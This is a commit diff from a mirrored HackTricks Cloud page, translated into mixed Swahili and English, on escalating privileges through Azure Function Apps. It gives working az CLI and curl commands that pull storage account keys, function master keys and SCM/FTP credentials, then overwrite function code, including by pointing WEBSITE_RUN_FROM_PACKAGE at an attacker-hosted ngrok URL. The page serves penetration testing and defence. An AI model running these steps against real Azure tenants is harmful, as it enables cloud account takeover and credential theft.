gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-07-29 07:00:29 -07:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala

Browse Source
This commit is contained in:
Translator
2026-06-16 13:16:09 +00:00
parent 3e6d695a6a
commit 6105e6934e
1 changed files with 84 additions and 61 deletions
Download Patch File Download Diff File Expand all files Collapse all files
src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md
+84 -61
View File
@@ -4,7 +4,7 @@
## Function Apps
Angalia ukurasa ufuatao kwa taarifa zaidi:
Angalia ukurasa ufuatao kwa maelezo zaidi:
{{#ref}}
../az-services/az-function-apps.md
@@ -12,24 +12,26 @@ Angalia ukurasa ufuatao kwa taarifa zaidi:
### Bucket Read/Write
Kwa ruhusa za kusoma containers ndani ya Storage Account inayohifadhi data za function, inawezekana kupata **different containers** (custom au zenye majina yaliyopangwa) ambazo zinaweza kuwa na **the code executed by the function**.
Ukiwa na permissions za kusoma containers ndani ya Storage Account inayohifadhi data ya function inawezekana kupata **different containers** (custom au zenye majina ya awali) ambazo zinaweza kuwa na **code inayotekelezwa na function**.
Mara unapopata wapi the code of the function iko, ikiwa una ruhusa za kuandika juu yake unaweza kufanya the function itekeleze any code na escalate privileges kwa managed identities attached to the function.
Mara tu unapopata mahali code ya function ilipo, kama una write permissions juu yake unaweza kufanya function itekeleze code yoyote na kuongeza privileges hadi kwenye managed identities zilizounganishwa na function.
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)`
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)`
The code of the function is usually stored inside a file share. With enough access it's possible to modify the code file and **make the function load arbitrary code** allowing to escalate privileges to the managed identities attached to the Function.
Code ya function kawaida huhifadhiwa ndani ya file share. Ukiwa na access ya kutosha inawezekana kurekebisha code file na **kuifanya function ipakie arbitrary code**, ikiruhusu kuongeza privileges hadi kwenye managed identities zilizounganishwa na Function.
Njia hii ya deployment kawaida husanidi settings **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** and **`WEBSITE_CONTENTSHARE`** ambazo unaweza kupata kutoka
```bash
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
```
Mafaili ya konfigurasheni yatakuwa na **Storage Account Key** ambayo Function inaweza kutumia kufikia msimbo.
Hizo configs zitakuwa na **Storage Account Key** ambayo Function inaweza kutumia kufikia code.
> [!CAUTION]
> Kwa ruhusa za kutosha kuungana na File Share na **modify the script** inayotekelezwa, inawezekana kutekeleza msimbo wowote ndani ya Function na kuongeza ruhusa.
> Kwa kuwa na permission ya kutosha kuconnect kwenye File Share na **kurekebisha script** inayokimbia, inawezekana execute arbitrary code ndani ya Function na escalate privileges.
Mfano ufuatao unatumia macOS kuungana na file share, lakini inapendekezwa pia kukagua ukurasa ufuatao kwa habari zaidi kuhusu file shares:
Mfano ufuatao unatumia macOS kuconnect kwenye file share, lakini inashauriwa pia kuangalia ukurasa ufuatao kwa info zaidi kuhusu file shares:
{{#ref}}
../az-services/az-file-shares.md
@@ -45,26 +47,26 @@ open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
```
- **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`)
Ni kawaida pia kupata **zip releases** ndani ya folda `function-releases` ya container ya Storage Account ambayo function app inaitumia, ndani ya container **kwa kawaida inayoitwa `function-releases`**.
Pia ni kawaida kupata **zip releases** ndani ya folda `function-releases` ya container ya Storage Account ambayo function app inatumia katika container **mara nyingi huitwa `function-releases`**.
Kawaida, njia hii ya deployment itaweka config `WEBSITE_RUN_FROM_PACKAGE` katika:
Kwa kawaida njia hii ya deployment itaweka config `WEBSITE_RUN_FROM_PACKAGE` katika:
```bash
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
```
This config will usually contain a **SAS URL to download** the code from the Storage Account.
Config hii kwa kawaida itakuwa na **SAS URL ya kupakua** code kutoka kwenye Storage Account.
> [!CAUTION]
> Ikiwa kuna ruhusa za kutosha za kuunganishwa kwenye blob container ambayo **contains the code in zip**, inawezekana kutekeleza arbitrary code kwenye Function na escalate privileges.
> Ukiwa na permission ya kutosha ya kuconnect kwenye blob container ambayo **ina code kwenye zip** inawezekana ku-execute arbitrary code kwenye Function na kuongeza privileges.
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE`)
Kama katika kesi iliyopita, ikiwa deployment imetokea kupitia Github Actions inawezekana kupata folda **`github-actions-deploy`** kwenye Storage Account inayojumuisha zip ya code na SAS URL kwa zip hiyo katika setting `WEBSITE_RUN_FROM_PACKAGE`.
Kama ilivyo kwenye kesi iliyotangulia, kama deployment imefanywa kupitia Github Actions inawezekana kupata folder **`github-actions-deploy`** kwenye Storage Account inayohifadhi zip ya code na SAS URL ya zip kwenye setting `WEBSITE_RUN_FROM_PACKAGE`.
- **`scm-releases`**(`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE`)
Kwa ruhusa za kusoma containers ndani ya Storage Account inayohifadhi function data inawezekana kupata container **`scm-releases`**. Ndani yake inawezekana kupata release ya mwisho katika **Squashfs filesystem file format** na kwa hivyo inawezekana kusoma code ya function:
Ukiwa na permissions za kusoma containers ndani ya Storage Account inayohifadhi function data inawezekana kupata container **`scm-releases`**. Ndani yake inawezekana kupata latest release katika **Squashfs filesystem file format** na hivyo inawezekana kusoma code ya function:
```bash
# List containers inside the storage account of the function app
az storage container list \
@@ -96,10 +98,10 @@ unsquashfs -l "/tmp/scm-latest-<app-name>.zip"
mkdir /tmp/fs
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
```
Pia inawezekana kupata **master and functions keys** zilizohifadhiwa kwenye storage account, kwenye container **`azure-webjobs-secrets`** ndani ya folda **`<app-name>`**, katika faili za JSON zilizomo ndani.
Pia pia inawezekana kupata **master and functions keys** zilizohifadhiwa katika storage account ndani ya container **`azure-webjobs-secrets`** ndani ya folder **`<app-name>`** kwenye faili za JSON unazoweza kupata humo ndani.
> [!CAUTION]
> Kwa ruhusa za kutosha za kuunganishwa na blob container ambayo **ina code katika zip extension file** (ambayo kwa kweli ni **`squashfs`**), inawezekana kutekeleza code yoyote katika Function na kupandisha ruhusa.
> Ukiwa na permission ya kutosha kuunganishwa kwenye blob container ambayo **ina code katika faili la zip extension** (ambalo kwa kweli ni **`squashfs`**) inawezekana kutekeleza arbitrary code ndani ya Function na kuongeza privileges.
```bash
# Modify code inside the script in /tmp/fs adding your code
@@ -116,11 +118,11 @@ az storage blob upload \
```
### `Microsoft.Web/sites/host/listkeys/action`
Ruhusa hii inaruhusu kuorodhesha function, master na system keys, lakini sio host key ya function iliyobainishwa kwa:
Ruhusa hii inaruhusu kuorodhesha function, master na system keys, lakini si host key, za function iliyobainishwa kwa:
```bash
az functionapp keys list --resource-group <res_group> --name <func-name>
```
Kwa master key pia inawezekana kupata source code kupitia URL kama:
Kwa master key inawezekana pia kupata source code kwenye URL kama:
```bash
# Get "script_href" from
az rest --method GET \
@@ -133,7 +135,7 @@ curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/func
# JavaScript function app example
curl "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" -v
```
Na kubadilisha **code inayotekelezwa** katika function kwa:
Na ili **kubadilisha code inayotekelezwa** katika function kwa:
```bash
# Set the code to set in the function in /tmp/function_app.py
## Python function app example
@@ -152,36 +154,36 @@ curl -X PUT "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot
```
### `Microsoft.Web/sites/functions/listKeys/action`
Ruhusa hii inaruhusu kupata ufunguo chaguo-msingi wa function iliyotajwa kwa:
Ruhusa hii inaruhusu kupata default key ya function iliyobainishwa kwa:
```bash
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
```
Iite function ukitumia default key uliopata:
Anzisha function kwa kutumia key ya default iliyopatikana:
```bash
curl "https://<app-name>.azurewebsites.net/api/<func-endpoint-name>?code=<default-key>"
```
### `Microsoft.Web/sites/host/functionKeys/write`
Ruhusa hii inaruhusu kuunda/kusasisha function key ya function iliyotajwa kwa:
Ruhusa hii inaruhusu kuunda/kusasisha function key ya function iliyobainishwa kwa:
```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
### `Microsoft.Web/sites/host/masterKey/write`
Ruhusa hii inaruhusu kuunda/kusasisha master key kwa function iliyotajwa kwa:
Ruhusa hii inaruhusu kuunda/kusasisha master key kwa function iliyoainishwa kwa:
```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
> [!CAUTION]
> Kumbuka kwamba kwa key hii pia unaweza kupata source code na kuibadilisha kama ilivyoelezwa hapo awali!
> Kumbuka kwamba kwa ufunguo huu unaweza pia kufikia source code na kuibadilisha kama ilivyoelezewa hapo awali!
### `Microsoft.Web/sites/host/systemKeys/write`
Ruhusa hii inaruhusu kuunda/kusasisha system function key kwa function maalum kwa:
This permission allows to create/update a system function key to the specified function with:
```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
Tumia ufunguo:
Tumia key:
```bash
# Ejemplo: Acceso a endpoints de Durable Functions
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/durabletask/instances?code=<system-key>"
@@ -191,28 +193,28 @@ curl "https://<app-name>.azurewebsites.net/runtime/webhooks/eventgrid?code=<syst
```
### `Microsoft.Web/sites/config/list/action`
Ruhusa hii inaruhusu kupata mipangilio ya function. Ndani ya mipangilio hii inaweza kuwa inawezekana kupata thamani za chaguo-msingi **`AzureWebJobsStorage`** au **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**, ambazo zina **funguo la akaunti ili kufikia blob storage ya function kwa ruhusa KAMILI**.
Ruhusa hii inaruhusu kupata settings za function. Ndani ya configurations hizi inaweza kuwa possible kupata default values **`AzureWebJobsStorage`** au **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** ambazo zina **account key ya kufikia blob storage ya function kwa FULL permissions**.
```bash
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
```
Zaidi ya hayo, ruhusa hii pia inaruhusu kupata **SCM username and password** (ikiwa imewezeshwa) kwa:
Zaidi ya hayo, ruhusa hii pia inaruhusu kupata **SCM username na password** (ikiwa imewezeshwa) kwa:
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
```
### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write`
Ruhusa hizi zinawezesha kuorodhesha thamani za config za function kama tulivyoshuhudia hapo awali pamoja na **kubadilisha thamani hizi**. Hii ni muhimu kwa sababu mipangilio hii inaonyesha mahali ambapo code itakayotekelezwa ndani ya function imehifadhiwa.
Hizi permissions zinawezesha kuorodhesha config values za function kama tulivyoona hapo awali pamoja na **kurekebisha values hizi**. Hii ni muhimu kwa sababu settings hizi zinaonyesha code ya kutekeleza ndani ya function ipo wapi.
Kwa hivyo inawezekana kuweka thamani ya setting **`WEBSITE_RUN_FROM_PACKAGE`** ikielekeza kwenye URL ya zip inayobeba code mpya ya kutekelezwa ndani ya web application:
Kwa hiyo inawezekana kuweka value ya setting **`WEBSITE_RUN_FROM_PACKAGE`** ikielekeza kwenye URL zip file inayobeba code mpya ya kutekeleza ndani ya web application:
- Anza kwa kupata config ya sasa
- Anza kwa kupata current config
```bash
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-name>
```
- Tengeneza code unayotaka function ifanye kazi, kisha ui-host hadharani
- Tengeneza code unayotaka function iendeshe na uihost publicly
```bash
# Write inside /tmp/web/function_app.py the code of the function
cd /tmp/web/function_app.py
@@ -222,9 +224,9 @@ python3 -m http.server
# Serve it using ngrok for example
ngrok http 8000
```
- Badilisha function, hifadhi vigezo vya awali na ongeza mwishoni config **`WEBSITE_RUN_FROM_PACKAGE`** ikielekeza kwenye URL yenye **zip** inayojumuisha code.
- Badilisha function, weka parameters za awali na ongeza mwishoni config **`WEBSITE_RUN_FROM_PACKAGE`** inayoelekeza kwenye URL yenye **zip** inayobeba code.
Ifuatayo ni mfano wa mipangilio yangu mwenyewe **ambazo utahitaji kubadilisha thamani ili ziendane na zako**, kumbuka mwishoni thamani `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, hapa ndiyo nilikuwa niki-host programu.
Hii ni mfano wa **own settings yangu utahitaji kubadilisha values zako**, zingatia mwishoni values `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, hapa ndipo nilipokuwa niki-host app.
```bash
# Modify the function
az rest --method PUT \
@@ -234,7 +236,7 @@ az rest --method PUT \
```
### `Microsoft.Web/sites/hostruntime/vfs/write`
Kwa ruhusa hii inawezekana **kubadilisha msimbo wa programu** kupitia web console (au kupitia API endpoint ifuatayo):
Kwa ruhusa hii **inawezekana kurekebisha code ya application** kupitia web console (au kupitia API endpoint ifuatayo):
```bash
# This is a python example, so we will be overwritting function_app.py
# Store in /tmp/body the raw python code to put in the function
@@ -264,7 +266,7 @@ body: responseMessage
```
### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`)
Ruhusa hii inaruhusu kuorodhesha profaili zote za kuchapisha ambazo kimsingi zinajumuisha **basic auth credentials**:
Ruhusa hizi zinaruhusu kuorodhesha publishing profiles zote ambazo kimsingi zina **basic auth credentials**:
```bash
# Get creds
az functionapp deployment list-publishing-profiles \
@@ -272,7 +274,7 @@ az functionapp deployment list-publishing-profiles \
--resource-group <res-name> \
--output json
```
Chaguo jingine ni kuweka creds zako mwenyewe na kuzitumia:
Chaguo jingine lingekuwa kuweka creds zako mwenyewe na kuzitumia kwa kutumia:
```bash
az functionapp deployment user set \
--user-name DeployUser123456 g \
@@ -280,7 +282,7 @@ az functionapp deployment user set \
```
- Ikiwa **REDACTED** credentials
Ikiwa unaona kwamba credentials hizo ni **REDACTED**, ni kwa sababu unahitaji **kuwezesha chaguo la SCM la uthibitishaji wa msingi** na kwa hilo unahitaji ruhusa ya pili (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
Ukiona kwamba credentials hizo ni **REDACTED**, ni kwa sababu unahitaji **kuwezesha SCM basic authentication option** na kwa hilo unahitaji permission ya pili (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
```bash
# Enable basic authentication for SCM
az rest --method PUT \
@@ -302,26 +304,47 @@ az rest --method PUT \
```
- **Mbinu SCM**
Kisha, unaweza kufikia kwa kutumia hizi **basic auth credentials to the SCM URL** za function app yako na kupata thamani za env variables:
Kisha, unaweza kufikia kwa kutumia hizi **basic auth credentials kwa SCM URL** ya function app yako na kupata values za env variables:
```bash
# Get settings values
curl -u '<username>:<password>' \
https://<app-name>.scm.azurewebsites.net/api/settings -v
# Deploy code to the funciton
zip function_app.zip function_app.py # Your code in function_app.py
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
```
_Nakumbuka kwamba **SCM username** kawaida ni karakteri "$" ikifuatiwa na jina la app, kwa hivyo: `$<app-name>`._
Unaweza kupakua, kurekebisha na kupakia msimbo mpya wa function :
```bash
# download
curl -u '<username>:<password>' -X GET \
https://<app-name>.scm.azurewebsites.net/api/zip/site/wwwroot/ \
-o current_function_code.zip
unzip current_function_code.zip -d updated_code/
cd updated_code/
#... modify the function code
zip -r ../updated_function_app.zip .
cd ../
# upload
curl -u '<username>:<password>' https://<app-name>.scm.azurewebsites.net/api/zipdeploy -X POST --data-binary @updated_function_app.zip -v
```
Unaweza hata kupakia faili mahususi :
```bash
curl -u '<username>:<password>' \
-X PUT \
-H "Content-Type: application/javascript" \
-H "If-Match: *" \
--data-binary "@./my_local_payload.js" \
"https://<app-name>.scm.azurewebsites.net/api/vfs/site/wwwroot/hello-world/index.js" # example NodeJS file
```
_Note kwamba **SCM username** kawaida ni herufi "$" ikifuatiwa na jina la app, kwa hivyo: `$<app-name>`._
Unaweza pia kufikia ukurasa wa wavuti kutoka `https://<app-name>.scm.azurewebsites.net/BasicAuth`
Thamani za settings zinajumuisha **AccountKey** ya storage account inayohifadhi data za function app, ikiruhusu kudhibiti storage account hiyo.
Thamani za settings zina **AccountKey** ya storage account inayohifadhi data ya function app, ikiruhusu kudhibiti storage account hiyo.
- **Mbinu FTP**
- **Method FTP**
Ungana na seva ya FTP ukitumia:
Unganisha kwenye FTP server ukitumia:_
```bash
# macOS install lftp
brew install lftp
@@ -335,19 +358,19 @@ ls # List
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
```
_Kumbuka kwamba **FTP username** kawaida huwa katika muundo \<app-name>\\$\<app-name>._
_Kumbuka kwamba **FTP username** kwa kawaida iko katika muundo \<app-name>\\$\<app-name>._
### `Microsoft.Web/sites/hostruntime/vfs/read`
Ruhusa hii inaruhusu **kusoma msimbo wa chanzo** wa app kupitia VFS:
Ruhusa hii inaruhusu **kusoma source code** ya app kupitia VFS:
```bash
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
```
### `Microsoft.Web/sites/functions/token/action`
Kwa ruhusa hii inawezekana [get the **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) ambayo baadaye inaweza kutumika kupata **master key** na kwa hivyo kufikia na kubadilisha function's code.
Kwa ruhusa hii inawezekana [kupata **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) ambayo baadaye inaweza kutumika kupata **master key** na hivyo kufikia na kurekebisha code ya function.
Hata hivyo, katika ukaguzi wangu wa mwisho hakuna token iliyorudishwa, hivyo inaweza kuwa imezimwa au haifanyi kazi tena, lakini hapa ni jinsi ungevifanya:
Hata hivyo, katika ukaguzi wangu wa mwisho hakuna token iliyorejeshwa, kwa hiyo huenda imezimwa au haifanyi kazi tena, lakini hivi ndivyo ungefanya:
```bash
# Get admin token
az rest --method GET \
@@ -359,7 +382,7 @@ curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
```
### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`)
Ruhusa hizi zinaruhusu **kuwezesha functions** ambazo zinaweza kuwa zimezimwa (au kuzizima).
Ruhusa hizi huruhusu **kuwezesha functions** ambazo zinaweza kuwa zimezimwa (au kuzizima).
```bash
# Enable a disabled function
az functionapp config appsettings set \
@@ -367,13 +390,13 @@ az functionapp config appsettings set \
--resource-group <res-group> \
--settings "AzureWebJobs.http_trigger1.Disabled=false"
```
Inawezekana pia kuona ikiwa function imewezeshwa au imezimwa kwenye URL ifuatayo (ukitumia ruhusa ndani ya mabano):
Inawezekana pia kuona kama function imewezeshwa au imezimwa katika URL ifuatayo (kwa kutumia permission iliyo kwenye mabano):
```bash
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
```
### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`)
Kwa ruhusa hizi inawezekana **kubadilisha container inayotumika na function app** iliyosanifiwa kuendesha container. Hii itamruhusu attacker kupakia azure function container app yenye madhara kwenye docker hub (kwa mfano) na kufanya function iiitekeleze.
Kwa ruhusa hizi inawezekana **kurekebisha container inayoendeshwa na function app** iliyosanidiwa kuendesha container. Hii ingemruhusu mshambuliaji kupakia malicious azure function container app kwenye docker hub (kwa mfano) na kufanya function iitekeleze.
```bash
az functionapp config container set --name <app-name> \
--resource-group <res-group> \
@@ -381,29 +404,29 @@ az functionapp config container set --name <app-name> \
```
### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`)
Kwa ruhusa hizi inawezekana **kuambatisha user managed identity mpya kwa function**. Ikiwa function imevamiwa, hii itaruhusu kupandisha ruhusa kwa user managed identity yoyote.
Kwa ruhusa hizi inawezekana **kuambatisha user managed identity mpya kwenye function**. Ikiwa function ilihujumiwa, hii ingeruhusu kuongeza privileges hadi kwenye user managed identity yoyote.
```bash
az functionapp identity assign \
--name <app-name> \
--resource-group <res-group> \
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>
```
### Urekebishaji wa Mbali
### Debuguaji ya Mbali
Inawezekana pia kuunganishwa ili kudebug Function inayotumika kama [**explained in the docs**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Hata hivyo, kwa chaguo-msingi Azure itazima chaguo hili ndani ya siku 2 ikiwa msanidi programu atakosa, ili kuepuka kuacha usanidi wenye udhaifu.
Pia inawezekana kuunganishwa ili kudebug Azure function inayotekelezwa kama [**imeelezwa kwenye docs**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Hata hivyo, kwa default Azure itazima option hii baada ya siku 2 ikiwa developer atasahau ili kuepuka kuacha vulnerable configurations.
Inawezekana kuangalia ikiwa Function imewezeshwa debugging kwa:
Inawezekana kuangalia kama Function imewezeshwa debugging kwa kutumia:
```bash
az functionapp show --name <app-name> --resource-group <res-group>
```
Kuwa na ruhusa `Microsoft.Web/sites/config/write` pia inawezekana kuweka function katika debugging mode (amri ifuatayo pia inahitaji ruhusa `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` na `Microsoft.Web/sites/Read`).
Ikiwa na ruhusa `Microsoft.Web/sites/config/write`, pia inawezekana kuweka function katika mode ya debugging (amri ifuatayo pia inahitaji ruhusa `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` na `Microsoft.Web/sites/Read`).
```bash
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>
```
### Badilisha Github repo
Nilijaribu kubadilisha Github repo kutoka ambapo deploying inafanyika kwa kutekeleza amri zifuatazo lakini hata kama ilibadilika, **the new code was not loaded** (labda kwa sababu inatarajia Github Action kusasisha code).\
Zaidi ya hayo, **managed identity federated credential wasn't updated** kuruhusu repo mpya, hivyo inaonekana hii sio ya msaada.
Nilijaribu kubadilisha Github repo ambako deployment inafanyika kwa kutekeleza amri zifuatazo lakini hata kama ilibadilika, **code mpya haikupakiwa** (huenda kwa sababu inatarajia Github Action kusasisha code).\
Zaidi ya hayo, **managed identity federated credential haikusasishwa** ili kuruhusu repository mpya, kwa hiyo inaonekana hili si la manufaa sana.
```bash
# Remove current
az functionapp deployment source delete \